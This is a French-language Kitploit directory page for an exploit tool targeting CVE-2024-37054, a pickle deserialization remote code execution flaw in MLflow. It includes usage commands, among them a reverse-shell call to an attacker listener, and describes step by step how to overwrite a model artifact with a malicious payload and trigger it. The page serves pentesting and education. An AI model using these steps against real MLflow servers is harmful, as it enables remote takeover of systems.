Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-37054 — Exploit et documentation de CVE-2024-37054 | Kitploit
Outils/GitHubGitHub/tristanqtn/cve-2024-37054
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubtristanqtn/cve-2024-37054

CVE-2024-37054

Exploit et documentation de CVE-2024-37054

Voir le dépôt
1il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-37054 — MLflow pyfunc Désérialisation RCE

Sévérité: Critique
Affecté: MLflow 0.9.0 – 2.14.1
Type: Exécution de code arbitraire via désérialisation pickle Python

Description

mlflow.pyfunc.load_model() désérialise python_model.pkl à partir du store d'artefacts sans aucune vérification. Un attaquant qui peut atteindre l'API REST des artefacts MLflow peut écraser ce fichier avec un pickle malveillant, ce qui exécute des commandes OS arbitraires lors du prochain chargement du modèle.

Requirements

pip install requests cloudpickle

Usage

# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  list

# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  revshell 10.10.16.1 4444

Key options

OptionDescription
--mlflow URLURL de base du serveur de suivi MLflow (requis)
--model NAMENom du modèle enregistré — sélectionne le premier si omis
--version NVersion du modèle — par défaut la plus récente
--user / --passIdentifiants HTTP Basic Auth pour MLflow
--run-id / --exp-idContourner la découverte du modèle avec des IDs connus
--trigger-url URLPoint de terminaison de l'app qui appelle load_model() — omettre pour seulement uploader
--session COOKIECookie de session envoyé avec la requête de déclenchement

Fonctionnement

  1. Découverte — interroger /api/2.0/mlflow/registered-models/search pour trouver un modèle et son run_id / experiment_id
  2. Empoisonnement — PUT une charge utile cloudpickle malveillante vers /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl
  3. Déclenchement — tout chemin de code appelant mlflow.pyfunc.load_model() sur ce modèle désérialise la charge utile et exécute la commande

L'étape de déclenchement nécessite un point de terminaison d'application qui charge le modèle. Si aucun n'est connu, utilisez --no-trigger (ou omettez --trigger-url) et déclenchez le chargement par tout moyen disponible.

Avertissement

À des fins de tests de pénétration autorisés et d'éducation uniquement.

Télécharger l’outil